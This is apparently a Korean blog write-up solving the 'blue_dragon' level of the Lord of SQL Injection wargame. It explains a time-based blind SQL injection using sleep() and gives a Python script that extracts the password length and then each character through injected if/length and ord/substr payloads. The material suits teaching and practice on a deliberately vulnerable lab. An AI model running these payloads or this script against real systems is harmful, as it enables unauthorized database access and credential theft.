이번 문제는 '와 \가 필터링 되는 문제여서 우회하기가 어렵다.
대신 sleep 함수를 막지 않는것으로 보아 time based SQLI를 사용하면 될것같다.
쿼리를 사용했을때 메시지가 뜨지 않아도 sleep() 을 장시간으로 해서 주면 메시지가 뜰때 메시지대신 페이지 로딩 시간이 길어질 것이다.
if문으로 length를 검증하고 sleep(3) 을 주어 참이면 3초간 sleep 후 페이지를 로딩하게 했다.
length 비교값에 8을 주니 갑자기 페이지가 3초동안 로딩되었다가 불려졌다. 이를 보고 pw 길이가 8자리라는 것을 알아내었다. 이제 이를 이용해서 pw 값을 알아내면 된다.
ord와 substr 함수를 이용해 알아보았다.
blue-dragon.py |
import urllib.request
import requests
import time
headers = {'Cookie':'PHPSESSID=ed785m9e4bu9sjn5kp119ohqrv'}
pw=""
for i in range(1,100):
start=time.time()
query="admin%27%20and%20if(length(pw)={},sleep(3),1)--+-".format(i)
r=requests.get(url+query,headers=headers)
if time.time()-start > 3:
length = i
break
print("pw length :",length)
for i in range(1, length+1):
for j in range(48,123):
start=time.time()
query="admin%27%20and%20if(ord(substr(pw,{},1))={},sleep(3),1)--+-".format(i,j)
r=requests.get(url+query,headers=headers)
if time.time()-start > 3:
pw += chr(j)
print("{} : {}".format(i,pw))
break
|
일일이 찾기 힘드니 코드를 이용해 풀었다. 그렇게나온 pw는 d948b8a0
'3. 웹 애플리케이션 취약점 진단 > Lord of Sql Injection' 카테고리의 다른 글
lord of sql injection 29번 - phantom (0) | 2023.12.22 |
---|---|
lord of sql injection 28번 - frankenstein (0) | 2023.12.22 |
lord of sql injection 26번 - red_dragon (0) | 2023.12.22 |
lord of sql injection 25번 - green_dragon (0) | 2023.12.22 |
lord of sql injection 24번 - evil_wizard (0) | 2023.12.22 |